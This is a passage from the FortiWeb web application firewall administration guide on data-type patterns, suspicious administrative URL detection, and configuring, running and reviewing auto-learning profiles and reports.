- **Predefined** — A regular expression set included with the firmware. These match common data types. **Cannot** be modified except via FortiGuard, but can be copied and used as the basis for a custom data type. Can be used by both auto-learning profiles and input rules.
- **Custom** — A regular expression that you have configured to detect any data patterns that cannot be recognized by the predefined set. Can be modified. Can be used by input rules, but **cannot** be used by auto-learning profiles.

See also

- [Connecting to FortiGuard services](#)
- [How often does Fortinet provide FortiGuard updates for FortiWeb?](#)

Predefined data types

When you install FortiWeb, it already has some data type regular expressions that are predefined — default signatures for common data types so that you do not need to write them yourself. Initial ones are included with the FortiWeb firmware. If your FortiWeb is connected to FortiGuard Security Service updates, it can periodically download updates to its predefined data types. This will provide new and enhanced data types without any effort on your part. Simply use the new signatures in parts of the configuration where they are useful to you.

Predefined data type patterns cannot be used directly. Instead, they must be grouped before they can be used in other areas of the configuration. For details, see [“Grouping predefined data types” on page 168](#).

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see ["Permissions" on page 46](#).

Setting name	Description
Pattern	The regular expression used to detect the presence of the data type. Parameter values must match the regular expression in order for an auto-learning profile to successfully detect the data type, or for an input rule to allow the input.
Description	A description of what the data type is. It may include examples of values that match the regular expression.

Setting name	Description
Name	Select the blue arrow beside a pattern to expand the entry and display the individual rules contained in the entry. Displays the name of the data type. • Address — Canadian postal codes and United States ZIP code and ZIP + 4 codes. • Canadian Postal Code — Canadian postal codes such as K2H 7B8. • Canadian Province Name and Abbrev. — Modern and older names and abbreviations of Canadian provinces in English, as well as some abbreviations in French, such as Quebec, PEI, Sask, and Nunavut. Does not detect province names in French, such as Québec. • Canadian Social Insurance Number — Canadian Social Insurance Numbers (SIN) such as 123-456-789. • Chinese Postal Code — Chinese postal codes such as 610000. • Country Name and Abbrev. — Country names, codes, and abbreviations as they are known in English, such as CA, Cote d'Ivoire, Brazil, Russian Federation, and Brunei. • Credit Card Number — American Express, Carte Blanche, Diners Club, enRoute, Japan Credit Bureau (JCB), Master Card, Novus, and Visa credit card numbers. • Date/Time — Dates and times in various formats such as +13:45 for time zone offsets, 1:01 AM, 1am, 23:01:01, and 01.01.30 AM for times, and 31.01.2009, 31/01/2009, 01/31/2000, 2009-01-3, 31-01-2009, 1-31-2009, 01 Jan 2009, 01 JAN 2009, 20-Jan-2009 and February 29, 2009 for dates. • Denmark Postal Code — Danish postal code ("postnumre") such as DK-1499 and dk-1000. Does not match codes that are not prefixed by "DK-", nor numbers that do not belong to the range of valid codes, such as 123456 or dk 12. • Email — Email addresses such as admin@example.com • GPA — A student's grade point average, such as 3.5, based upon the 0.0-to-4.0 point system, where an "A" is worth 4 points and an "F" is worth 0 points. Does not match GPAs weighted on the 5 point scale for honors, IB, or AP courses, such as 4.1. The exception is 5.5, which it will match. • GUID — A globally unique identifier used to identify partition types in the hard disk's master boot record (MBR), such as BFDB4D31-3E35-4DAB-AFCA-5E6E5C8F61EA. Partition types are relevant on computers which boot via EFI, using the MBR, instead of an older-style BIOS. • Indian Vehicle Number — An Indian Vehicle Registration Number, such as mh 12 bj 1780. • IP Address — A public or private IPv4 address, such as 10.0.0.1. Does not match IPv6 addresses. • Kuwait Civil ID — Personal identification number for Kuwait, such as 273032401586. Must begin with 1, 2, or 3, and follow all other number patterns for valid civil IDs.

Setting name	Description
	• Level 1 Password — A string of at least 6 characters, with one or more each of lower-case characters, upper-case characters, and digits, such as aBc123. Level 1 passwords are “weak” passwords, generally easier to crack than level 2 passwords. • Level 2 Password — A string of at least 8 characters, with one or more each of lower-case characters, upper-case characters, digits, and special characters, such as aBc123\$%. Level 2 passwords are moderately strong. • Markup/Code — HTML comments, wiki code, hexadecimal HTML color codes, quoted strings in VBScript and ANSI SQL, SQL statements, and RTF bookmarks such as: • #00ccff, <!--A comment.--> • [link url="http://example.com/url?var=A&var2=B"] • SELECT * FROM TABLE • {*\bkmkstart TagAmountText} Does not match ANSI escape codes. They are detected as strings. • Microsoft Product Key — An alphanumeric key for activation of Microsoft software, such as ABC12-34DEF-GH567-IJK89-LM0NP. Does not match keys which are non-hyphenated, nor where letters are not capitalized. • Netherlands Postcode — Netherlands postal codes (“postcodes”) such as 3000 AA or 3000AA. Does not match postal codes written in lower-case letters, such as 3000aa. • NINO — A United Kingdom National Insurance Number (NINO), such as AB123456D. Does not match NINOs written in lower-case letters, such as ab123456d. • Numbers — Numbers in various monetary, scientific, decimal, comma-separated value (CSV), and other formats such as 123, +1.23, \$1,234,567.89, 1'235.140, and -123.45e-6. Does not detect some types, such as hexadecimal numbers (which are instead detected as strings or code), and US Social Security Numbers (which are instead detected as strings). • Personal Name — A person’s full or abbreviated name in English. It can contain punctuation, such as A.J Schwartz, Jean-Pierre Ferko, or Jane O’Donnell. Does not match names written in other languages, such as Renée Wächter or 林美 . • Phone — Australian, United States, and Indian telephone numbers in various formats such as (123)456-7890, 1.123.456.7890, 0732105432, and +919847444225. • Strings — Any string of characters, including all other data types, such as alphanumeric words, credit card numbers, United States social security numbers (SSN), UK vehicle registration numbers, ANSI escape codes, and hexadecimal numbers in formats such as user1, 123-45-6789, ABC 123 A, 4125632152365, [32mHello, and 8ECCA04F.

Setting name	Description
	• Swedish Personal Number — Personal identification number (“personnummer”) for Sweden, such as 19811116-7845. Must be hyphenated. Does not match PINs for persons whose age is 100 or greater. • UAE Land Phone — Telephone number for the United Arab Emirates, such as 04 - 3452499 or 04 3452499. Does not match phone numbers beginning with 01 or 08. • UK Bank Sort Code — Bank sort codes for the United Kingdom, such as 09-01-29. Must be hyphenated. • Unix Device Name — Standard Linux or UNIX non-loopback wired Ethernet network interface names, such as eth0. Does not match names for any other type of device, such as lo, hdda, or ppp. • URI — Uniform resource identifiers (URI) such as: http://www.example.com ftp://ftp.example.com mailto:admin@example.com • US Social Security Number — United States Social Security Numbers (SSN) such as 123-45-6789. • US State Name and Abbrev. — United States state names and modern postal abbreviations such as HI and Wyoming. Does not detect older postal abbreviations ending with periods (.), such as Fl. or Wyo. • US Street Address — United States city and street address, possibly including an apartment or suite number. City and street may be either separated with a space or written on two lines according to US postal conventions, such as: 123 Main Street Suite #101 Honolulu, HI 10001 Does not match: • ZIP + 4 codes that include spaces, or do not have a hyphen (e.g. “10001 - 1111” or “10001 1111”) • city abbreviations of 2 characters (e.g. “NY” instead of “NYC”) • Washington D.C. addresses • US ZIP Code — United States ZIP code and ZIP + 4 codes such as 34285-3210. • Windows File Name — A valid windows file name, such as Untitled.txt. Does not match file extensions, or file names without their extensions.

See also

- [Predefined suspicious request URLs](#)
- [Configuring an auto-learning profile](#)
- [Recognizing data types](#)
- [Connecting to FortiGuard services](#)
- [How often does Fortinet provide FortiGuard updates for FortiWeb?](#)

Grouping predefined data types

A data type group defines a set of predefined data types (see [“Predefined data types” on page 164](#)) that can be used in an auto-learning profile.

For example, if you include the *Email* data type in the data type group, auto-learning profiles that use the data type group might discover that your web applications use a parameter named `username` whose value is an email address.

The predefined data type group, named *predefine-data-type-group*, cannot be edited or deleted.

To configure a predefined data type group

1. Go to *Auto Learn > Predefined Pattern > Data Type Group*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

3. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In *Type*, mark the check box of each predefined data type that you want to include in the set, such as *Email* or *Canadian Social Insurance Number*.



If you know that your network's HTTP sessions do not include a specific data type, omit it from the data type group to improve performance. The FortiWeb appliance will not expend resources scanning traffic for that data type.

To examine the regular expressions for each data type, see [“Predefined data types” on page 164](#).

5. Click *OK*.
6. To use a data type group, select it when configuring either an auto-learning profile (see [“Configuring an auto-learning profile” on page 175](#)) or input rule (see [“Configuring parameter validation \(input rules\)” on page 411](#)).

See also

- [Predefined data types](#)
- [Configuring an auto-learning profile](#)
- [Configuring parameter validation \(input rules\)](#)
- [Recognizing data types](#)

Recognizing suspicious requests

FortiWeb appliances can recognize known attacks by comparing each request to a signature. How, then, does it recognize requests that aren't known to be an attack, or aren't **always** an attack, but **might** be?

FortiWeb uses several methods for this:

- HTTP protocol constraints ([“HTTP/HTTPS protocol constraints” on page 430](#))
- application parameter sanitizers & constraints ([“Preventing zero-day attacks” on page 411](#))
- exploit signatures ([“Blocking known attacks & data leaks” on page 377](#))
- DoS/DDoS sensors ([“DoS prevention” on page 328](#))
- access control lists ([“Access control” on page 311](#))

Web applications' administrative URLs often should **not** be accessible by clients on the Internet, and therefore any request for those URLs from source IP addresses on the Internet may represent an attempt to scout your web servers in advance of an attack. (Exceptions include hosting providers, whose clients may span the globe and often configure their own web applications.) Administrative requests from the Internet are therefore suspicious: the host may have been compromised by a rootkit, or its administrative login credentials may have been stolen via spyware, phishing, or social engineering.

FortiWeb appliances can compare each request URL with regular expressions that define known administrative URLs, and log and/or block these requests.

Regular expressions for suspicious requests by URL are categorized as:

- **Predefined** — Regular expressions included with the firmware. These match common administrative URLs, and URLs for back-end data such as caches. **Cannot** be modified except via FortiGuard updates, but can be copied and used as the basis for a custom definitions of sensitive URLs.
- **Custom** — A regular expression that you have configured to detect any suspicious access attempts by URL that cannot be recognized by the predefined set. Can be modified.

Both types can be grouped into a set that can be used in auto-learning profiles.

See also

- [How often does Fortinet provide FortiGuard updates for FortiWeb?](#)

Predefined suspicious request URLs

Predefined regular expressions can be used by auto-learning to detect requests that are suspicious because they are for a URL that provides administrative access to the web server, servlet, or web application, such as:

```
/admin.php  
/conf/Catalina/localhost/admin.xml
```

or access to its back-end cache, data files, or Berkeley databases, such as:

```
/local/notesdata
```

Normally, requests for these URLs should only originate from a trusted network such as your management computers, **not** from the Internet. (Exceptions include hosting providers, whose clients around the globe configure their own web applications.) Therefore these requests are a good candidate for URL access control rules.

Many signatures exist for popular web servers and applications such as Apache, nginx IIS, Tomcat, and Subversion. Known suspicious request URLs can be updated. See [“Connecting to FortiGuard services” on page 132](#).

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

Table 30: *Auto Learn > Predefined Pattern > URL Pattern* (image cropped)

Name	Pattern	Description
▶ IIS		
▶ Apache		
▼ Tomcat		
	^/conf/Catalina/localhost/admin\.xml\$	Check suspicious url files for Tomcat Server
	^/(?:admin server/webapps/admin manager)/ :8080/jmx-console	Check suspicious url items for Tomcat Server
▶ WebLogic		
▶ JBoss		
▶ Jetty		
▶ ColdFusion		
▶ Zend Server		
▶ Abyss		
▶ nginx		
▶ Squid		

Setting name	Description

Name	The name of the predefined suspicious URL pattern set. To display the patterns it contains, click the blue arrow next to the name.
Pattern	When you click a blue arrow to expand a suspicious URL pattern, this column displays the regular expression used to detect the presence of the suspicious URL in a client's request.
Description	When you click a blue arrow to expand a data type, this column displays a description of the URLs matched by this pattern, such as Apache web server administrative web UI files or IBM Lotus Domino data.

See also

- [Grouping all suspicious request URLs](#)
- [Recognizing suspicious requests](#)
- [How often does Fortinet provide FortiGuard updates for FortiWeb?](#)

Configuring custom suspicious request URLs

To augment FortiWeb's predefined list of suspicious request URLs, you can configure your own.


To create a custom suspicious request URL pattern

1. Go to *Auto Learn > Custom Pattern > Suspicious URL Rule*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see "[Permissions](#)" on page 46.

2. Click *Create New*.

A dialog appears.



Edit Suspicious URL Rule

Name

URL Expression >>

3. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In *URL Expression*, enter a regular expression that defines this suspicious URL, such as `^/my_admin_panel.jsp`.
To test the regular expression against sample text, click the >> (test) icon. This opens the *Regular Expression Validator* window where you can fine-tune the expression (see [“Regular expression syntax” on page 658](#) and [“Cookbook regular expressions” on page 665](#)).
5. Click OK.
6. Group custom suspicious URL patterns (see [“Grouping custom suspicious request URLs” on page 172](#)).
7. Group custom and predefined suspicious URL groups together (see [“Grouping all suspicious request URLs” on page 173](#)).
8. Select the supergroup when configuring an auto-learning profile (see [“Configuring an auto-learning profile” on page 175](#)).

See also

- [Grouping custom suspicious request URLs](#)
- [Recognizing suspicious requests](#)

Grouping custom suspicious request URLs

Before you can use them, you must first group custom and predefined suspicious URLs.

To configure a custom suspicious URL policy

1. Before you can create a custom suspicious URL rule, you must first define one or more custom suspicious URLs (see [“Configuring custom suspicious request URLs” on page 171](#)).
2. Go to *Auto Learn > Custom Pattern > Suspicious URL Policy*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.

ID	Suspicious URL Rule
1	custom-suspicious-url1

4. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click *OK*.
6. Click *Create New* to add an entry to the set.

A dialog appears.

7. From *Suspicious URL Name*, select the name of a custom suspicious URL rule.
8. Click *OK*.
9. Repeat the previous steps for each custom suspicious URL rule you want added to the policy.
10. Group custom and predefined suspicious URL groups together (see [“Grouping all suspicious request URLs” on page 173](#)).
11. Select the supergroup when configuring an auto-learning profile (see [“Configuring an auto-learning profile” on page 175](#)).

See also

- [Configuring custom suspicious request URLs](#)
- [Grouping all suspicious request URLs](#)
- [Recognizing suspicious requests](#)

Grouping all suspicious request URLs

Auto Learn > Predefined Pattern > Suspicious URL groups both custom and predefined suspicious URLs together so that they can be selected in an auto-learning profile.

To configure a suspicious URL pattern group

1. Before grouping all suspicious URL patterns, you must first group any custom suspicious URL groups that you want to include. For details, see [“Grouping custom suspicious request URLs” on page 172](#).
2. Go to *Auto Learn > Predefined Pattern > Suspicious URL*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

Alternatively, to clone an existing pattern as the basis for a new group, mark the check box next to it, then click the *Clone* icon.

A dialog appears.

Edit Suspicious URL

Name suspicious-url-group1

Server Type

- ☐ All / None
- ☐ IIS
- ☒ Apache
- ☒ Tomcat
- ☐ WebLogic
- ☐ JBoss
- ☐ Jetty
- ☒ ColdFusion
- ☐ Zend Server
- ☐ Abyss
- ☒ nginx
- ☐ Squid
- ☒ lighttpd
- ☐ Zope
- ☒ Subversion
- ☐ Lotus Domino
- ☐ Samba
- ☐ Blazix
- ☐ BadBlue
- ☐ OmniHTTPd
- ☐ Zeus
- ☐ Xeneo
- ☐ AOLserver
- ☐ Xitami
- ☐ LocalWeb2000
- ☐ WebShare
- ☐ WebSiphon
- ☐ Jeus WebContainer
- ☐ Xerver
- ☐ Cherokee
- ☐ WebSEAL
- ☐ lilhttpd
- ☐ mywebserver
- ☐ ghttpd
- ☐ Appweb

Custom Suspicious Policy custom-suspici ▼

OK Cancel

4. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

5. In *Server Type*, enable one or more of the predefined, web server-specific suspicious URL sets that you want to detect.

To view detailed descriptions of the types of patterns that each suspicious URL type will detect, see [“Predefined suspicious request URLs” on page 170](#).



If you know that your network does not rely on one or more of the listed web server types, disable scans for suspicious access to their administrative URLs in order to improve performance.

6. From the *Custom Suspicious Policy* drop-down list, select a group of custom suspicious URLs, that you have configured, if any.
7. Click *OK*.
8. To use a suspicious URL pattern, select it when configuring an auto-learning profile (see [“Configuring an auto-learning profile” on page 175](#)).

See also

- [Predefined suspicious request URLs](#)
- [Grouping custom suspicious request URLs](#)
- [Configuring an auto-learning profile](#)
- [Recognizing suspicious requests](#)

Configuring an auto-learning profile

Auto-learning profiles are selected in a server policy in conjunction with an inline or offline protection profile. Auto-learning profiles gather data for the auto-learning report from any attacks and parameters that are detected.

The predefined auto-learning profile, named *Default Auto Learn Profile*, cannot be edited or deleted. If you do not want to configure your own auto-learning profile, or are not sure how to, you can use this profile. Alternatively, you can use it as a starting point: clone it, modify the clone, then select the clone in a server policy.

Default Auto Learn Profile assumes that you want to learn about all parameters, and allow web crawlers from the search engines Google, Yahoo!, Baidu, and MSN/Bing.

Default Auto Learn Profile uses a predefined data type group, a predefined suspicious URL pattern, and other settings which are required to guarantee a complete data set for an auto-learning report. The default profile also does not use attack signatures that could cause false positives.

To configure an auto-learning profile



If you have already gathered some auto-learning data and want to refine it more quickly, you can generate a new auto-learning profile from auto-learning reports, then continue with an additional phase of auto-learning. For details, see [“Generating a profile from auto-learning data” on page 194](#).

- Before creating an auto-learning profile, you must configure its components:
 - a data type group (see [“Grouping predefined data types” on page 168](#))
 - suspicious request URLs (see [“Grouping all suspicious request URLs” on page 173](#))
 - if required, URL interpreters (see [“Grouping URL interpreters” on page 163](#))
- Go to *Auto Learn > Auto Learn Profile > Auto Learn Profile*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Autolearn Configuration* category. For details, see [“Permissions” on page 46](#).
- Click *Create New*.
A dialog appears.
- Configure these settings:

New Auto Learn Profile	
Name	auto-learning-profile1
Data Type Group	predefined-data-type-gr ▼
Suspicious URL	suspicious-url-group1 ▼
Server Protection Threshold	100
Server Protection Exception Threshold	5 %
Application Policy	exchange-interpreter ▼
OK Cancel	

Setting name	Description
Name	Type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Data Type Group	Select the name of a data type group to use, if any. Auto-learning will learn about the names, length, and required presence of these types of parameters in HTTP requests. For details, see “Grouping predefined data types” on page 168.
Suspicious URL	Select the name of a suspicious URL pattern to use, if any. Auto-learning will consider HTTP requests for these URLs as either malicious vulnerability scanning, data harvesting (a type of web scraping), or administrative login attacks. For details, see “Grouping all suspicious request URLs” on page 173.

Setting name	Description
Server Protection Threshold	Enter a percentage of detected attacks, relative to total hits, that will be interpreted as a false positive for the entire web host. When you use auto-learning to generate a protection profile (see “Blocking known attacks & data leaks” on page 377), attack signatures meeting or exceeding this overall threshold will be disabled. For example, if all normal HTTP requests, for whatever reason, sometimes match an attack signature, and therefore do not represent a genuine attack attempt, you could adjust this threshold to reflect the percentage of normal requests that match the attack signature for the overall protected web host. If an average of 99% of requests to the web host match the attack signature, but are actually harmless, you could adjust this setting to 99. If requests to this web site meet the threshold, scanning for this attack signature would be disabled for the entire web site. Note: This percentage does not have to be greater than Server Protection Exception Threshold.
Server Protection Exception Threshold	Enter a percentage of detected attacks, relative to total hits, that will be interpreted as a false positive for specific URLs. When you use auto-learning to generate a protection profile, attack signatures that meet or exceed this threshold on specific URLs will be disabled. For example, if normal HTTP requests to some URLs, for whatever reason, match an attack signature, and therefore do not represent a genuine attack attempt, you could adjust this threshold to reflect the percentage of normal requests that match the attack signature for those specific URLs. If an average of 50% of the requests to some URLs match an attack signature, but are actually harmless, you could adjust this setting to 50. Other URLs on the web host, where the signature is not disabled, would still be subject to scanning by the attack signature. Note: This percentage does not have to be less than Server Protection Threshold.
Application Policy	Select a URL interpreter set to use, if any. If the web application embeds parameters in the URL or uses non-standard parameter separators, include an auto-learning adaptor to define how auto-learning should find parameters in the URL. For details, see “How to adapt auto-learning to dynamic URLs & unusual parameters” on page 149.

5. Click **OK**.
6. In a server policy, select the auto-learning profile **with** its protection profile in [Web Protection Profile](#) and [WAF Auto Learn Profile](#) (see [“Configuring a server policy” on page 470](#)). If you do not want to change all *Action* settings to *Alert* in each of the protection profile’s components, also enable [Monitor Mode](#).



Auto-learning is resource-intensive, and can decrease performance. If performance becomes unacceptable, consider selecting the auto-learning profile in only a few policies at a time.

Alternatively or in addition, briefly run a first phase of auto-learning, then disable features which are obviously unnecessary according to auto-learning data, and begin a second, more lightweight phase of auto-learning.

7. To ensure that the appliance can learn about HTTP/HTTPS requests' usual page order and other session-related attacks and features, enable the [Session Management](#) option in the protection profile.
8. Continue with [“Running auto-learning” on page 178](#).

See also

- [How operation mode affects server policy behavior](#)
- [Viewing auto-learning reports](#)

Running auto-learning

Once you have configured and applied auto-learning profiles, you can use them to collect data that will be used to make an auto-learning report, and to suggest a configuration.

To form configuration suggestions using auto-learning

1. Enable the server policy where you have selected the auto-learning policy in [WAF Auto Learn Profile](#).
2. Route traffic to or through the FortiWeb appliance, depending on your operation mode.



For best results, traffic should be realistic. Do not use incomplete or unrealistic traffic.

To minimize performance impacts, consider running an initial phase of auto-learning while your FortiWeb is operating in offline protection mode, before transitioning to your final choice of operation mode.

3. Wait for the FortiWeb appliance to gather data.



To quickly reduce risk of attack while auto-learning is in progress, in the protection profile and its components, for attacks and disclosures that you are sure **cannot** be false positives, set the *Action* to *Alert & Deny* or *Alert & Erase*.

Time required varies by the rate of legitimate hits for each URL, the parameters that are included with each hit, and the percentage of hits that are attack attempts detected by attack signatures. You can gauge traffic volumes and hits using the *Policy Summary* widget (see [“Real Time Monitor widget” on page 524](#)).



For faster results, from an external IP, connect to the web site and access all URLs that a legitimate client would. Provide valid parameters. This will populate auto-learning data with an initial, realistic set.

To improve performance during auto-learning, you can run it in a few phases.

After an initial short phase of auto-learning, generate a protection profile with the most obvious attack settings. Then delete the auto-learning data, revise the protection profile to omit auto-learning for the settings that you have already discovered, and start the next phase of auto-learning.

Alternatively or additionally, you can run auto-learning on only a few policies at a time.

You can pause auto-learning's data gathering if necessary (see [“Pausing auto-learning for a URL” on page 179](#)).

4. Gauge progress by periodically reviewing the auto-learning report, which is kept up-to-date during auto-learning (see [“Viewing auto-learning reports” on page 180](#) and [“Generating a profile from auto-learning data” on page 194](#)). If parameters are missing, auto-learning is not done.



Auto-learning considers URLs up to approximately 128 characters long (assuming single-byte character encoding, after FortiWeb has decoded any nested hexadecimal or other URL encoding — therefore, the limit is somewhat dynamic). If the URL is greater than that buffer size, auto-learning will **not** be able to learn it, and therefore will ignore it. No event log will be created.

In those cases, you must manually configure FortiWeb protection settings for the URL, rather than discovering recommended protection settings via auto-learning. However, you may be able to re-use the settings recommended for other, shorter URLs by auto-learning.

For example, if auto-learning discovers an email address parameter, it probably should have the same input constraints regardless of which URL uses it.

5. If there is an unusual number of attacks, or there are false positives, or if some auto-learning data is incorrect, you can either:
 - fine-tune the auto-learning profile, delete the old-auto-learning data, then return to the previous step (see [“Removing old auto-learning data” on page 198](#))
 - fine-tune the parameters in the auto-learning report before generating protection profiles (see [“Overview tab” on page 184](#), [“Attacks tab” on page 186](#), [“Visits tab” on page 189](#), and [“Parameters tab” on page 192](#))
 - after the next step, adjust settings in the generated protection profiles
6. Continue with [“Generating a profile from auto-learning data” on page 194](#).

Pausing auto-learning for a URL

Dynamic URLs that you have **not** configured to be interpreted by a URL replacer will cause:

- reduced performance
- a tree that contains many URLs that are actually forms of the same URL
- auto-learning data that is split among each observed permutation of the dynamic URL

To solve these problems, stop auto-learning for those URLs (right-click them in the auto-learning report and select [Stop Learning](#)), then configure a URL replacer. For details, see [“How to adapt auto-learning to dynamic URLs & unusual parameters” on page 149](#).

If you decide later that the URLs were not, in fact, dynamic, you can resume auto-learning: right-click the URL in the auto-learning report, then select [Start Learning](#). Otherwise, for dynamic URLs, you can delete split auto-learning data (see [“Removing old auto-learning data” on page 198](#)).

See also

- [Viewing auto-learning reports](#)
- [How to adapt auto-learning to dynamic URLs & unusual parameters](#)
- [Removing old auto-learning data](#)

Viewing auto-learning reports

Auto Learn > Auto Learn Report > Auto Learn Report displays the list of reports that the FortiWeb appliance has automatically generated from information gathered by auto-learning profiles.

Primarily, auto-learning reports are used to determine whether or not the auto-learning feature has collected sufficient data to end the auto-learning phase of your installation, and transition to purely applying your security policies (see [“Generating a profile from auto-learning data” on page 194](#)).



Sometimes, such as when changing your web servers' installed web applications, you may want to run additional phases of auto-learning.

To create a fresh auto-learning report, and/or new protection profiles, you can reset the auto-learning report and delete its data to use only the most current data. For details, see [“Removing old auto-learning data” on page 198](#).

Reports from auto-learning profile data can also inform you about your web servers' traffic.



Whitelisted items will **not** be included in auto-learning reports. See [“Configuring the global object white list” on page 453](#).



Alternatively, for information on normal network traffic, you can use the data analytics feature. See [“Viewing web site statistics” on page 585](#).

To view a report generated from auto-learning data



To view auto-learning reports, the Adobe Flash Player browser plug-in is required.

1. Go to *Auto Learn > Auto Learn Report > Auto Learn Report*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Autolearn Configuration* category. For details, see [“Permissions” on page 46](#).


2. Mark the check box for the report you want to see.
3. Click *View*.

The report appears, with two panes:

- The left-hand pane enables you to navigate through the web sites and URLs that are the subjects of the report.
- The right-hand pane includes tabs that display the report data.

If a report contains multiple pages of results, click the arrows at the bottom of the page to move forward or backwards through the pages of results.

Figure 21:Parts of auto-learning reports




See also

- [Removing old auto-learning data](#)
- [Using the report navigation pane](#)
- [Using the report display pane](#)
- [Configuring an auto-learning profile](#)
- [Generating a profile from auto-learning data](#)

Using the report navigation pane

To view report data, click the expand icon (+) next to items in the navigation tree and click items to see applicable information. Different tree levels provide different report data.

Figure 22:Parts of the report navigation pane



If URL rewriting is configured, the tree's URL is the one requested by the client, **not** the one to which it was rewritten before passing on.



If the tree contains many URLs that are actually forms of the same URL, or includes sessions IDs, such as:

`/app/login.asp;jsessionid=xxx;p1=111;p2=123?p3=5555&p4=66aaaaa`


the web application may use dynamic URLs or unusual parameter separators, and require a URL interpreter for auto-learning to function normally. For details, see [“How to adapt auto-learning to dynamic URLs & unusual parameters” on page 149](#)

You can change the display and content of data using the context menu. To do so, right-click the name of an item in the navigation tree, then select a pop-up menu option:

Setting name	Description
Refresh the Tree	Select to update the display in the navigation pane. If hosts or URLs have been discovered since you last loaded the auto-learning report web page, this will update the tree to reflect those new discoveries.
Filter the Tree	Select to show or hide HTTP sessions in the report by their HTTP request method and/or other attributes. A pop-up dialog appears. See Figure 23 .
Expand Current Node	Select to expand the item and all of its subitems. This option has no effect when right-clicking the name of the auto-learning profile.
Stop Learning	Select this option if you have determined that the item is a dynamic URL. For details, see “Pausing auto-learning for a URL” on page 179 . If you have erroneously categorized the URL as dynamic, to resume learning, right-click the URL again and select <i>Start Learning</i> .
Clean Data	Select to remove auto-learning’s statistical data for this item. This may be useful if either: • You want to clear the data set to begin fresh for a new phase of auto-learning. • You know that the inputs required by a specific URL have changed since you initially began learning about a web site’s parameters. This could happen when you upgrade a web application. • The item was an instance of a dynamic URL, and you did not apply a matching URL interpreter, and therefore the data was corrupted. See “Removing old auto-learning data” on page 198 .

If you select [Filter the Tree](#), a dialog appears.

Figure 23:Filtering an auto-learning report



Edit Filter

HTTP Method:
GET ☒ POST ☒ HEAD ☒
OPTIONS ☒ TRACE ☒ CONNECT ☒
DELETE ☒ PUT ☒

URL Page:
Start Page ☐

Parameter:
URL with parameters ☐

Learn Status:
URLs in Learn state ☒ URLs in Secure state ☒

Attack:
☐ Attack Count ☐ Attack Percent

Hits:
☐ Hits Count ☐ Hits Percent

URL:
Search:

Reset **OK** **Cancel**

Depending on its level in the navigation tree, an item may be either a server policy observing multiple hosts, a single host, a common part of a path contained in multiple URLs, or a single requested file. Depending on the part of the navigation tree that you select, the auto-learning report displays:

- statistics specific to each requested URL
- totals for a group of URLs with a common path
- totals for all requested URLs on the host
- totals for all requests on all hosts observed by the auto-learning profile

To show only specific nodes in the URL tree and hide the rest (that is, “filter”), select which attributes that a node or its subnode must satisfy in order to be included in the report’s statistics.

For example, to include only statistics for parts of the URL tree pertaining to HTTP `POST` requests to Java server pages (JSP files), you would enter `.jsp` in the *Search* field under *URL* and enable *POST* under *HTTP Method*, disabling in order to filter out all other HTTP methods.



If auto-learning is using a URL interpreter to understand the structure of your application’s URLs, search for the interpreted URL as it appears in the report’s navigation tree, **not** the real URL as it appears in the HTTP request.

See also

- [Removing old auto-learning data](#)
- [Using the report display pane](#)

Using the report display pane

Tabs, statistics and charts appear on the report display (right-hand) pane. Their appearance varies depending on which level you selected in the navigation tree.

The report display pane contains several feature buttons above the report.

Table 31: Buttons at the top of the auto-learning report's display pane

Refresh

Generate Config

Generate PDF

OverviewAttacksVisits

Attack Table

Name	Count	Percentage	Detail	Action	Type	Custom
Cross Site Scripting	1	4.5%		Alert & Deny	Recommended	On
Cross Site Scripting (Extended)	1	4.5%		Alert & Deny	Custom	Off
SQL Injection						On
SQL Injection (Extended)						On
Generic Attacks						On
Generic Attacks(Extended)						On
Trojans						On
Information Disclosure						On
Known Exploits						On
Credit Card Detection						On

Edit Cross Site Scripting (Extended) Protection

Signature ID	Count	Percentage	Status	Recommendation
020000063	1	100.0%	☒	On

Setting name	Description

Refresh	Click to update the report display to reflect statistics, if any, that have been gathered since you loaded the auto-learning report web page.

Generate Config	Click to generate a web protection profile from the auto-learning profile. For instructions, see “Generating a profile from auto-learning data” on page 194 .

Generate PDF	Click to download a PDF copy of the report. A pop-up dialog appears. Type a file name for the PDF, then click OK .

Overview tab

The *Overview* tab provides a statistical summary for all sessions established with the host during the use of the auto-learning profile, or since its auto-learning data was last cleared, whichever is shorter. The contents and buttons of the *Overview* tab change depending on the level in the navigation tree.

Table 32: Auto-learning report *Overview* tab

Overview	Attacks	Visits
Edit Protected Servers		
Domain Table		
Domain Name	Web Server	Percentage
10.24.0.21:8080	Apache-Coyote/1.1	0.1%
3.3.3.3	Apache-Coyote/1.1	93.4%
www.ijqpv.com	Apache-Coyote/1.1	0.1%
www.kquml.net	Apache-Coyote/1.1	0.1%
www.dfqirt.net	Apache-Coyote/1.1	0.1%
www.hfhxwmx.com	Apache-Coyote/1.1	0.1%
www.stgbqrt.org	Apache-Coyote/1.1	0.1%
www.yytjt.com	Apache-Coyote/1.1	0.1%
www.mrgjn.com	Apache-Coyote/1.1	0.1%
www.dqutj.net	Apache-Coyote/1.1	0.1%
Overview Table		
Item	Value	
Policy Name	Auto_Learn	
Hits Count	277186	
Attack Count	359432	
Number of URLs	120	
Average hits per second	0	
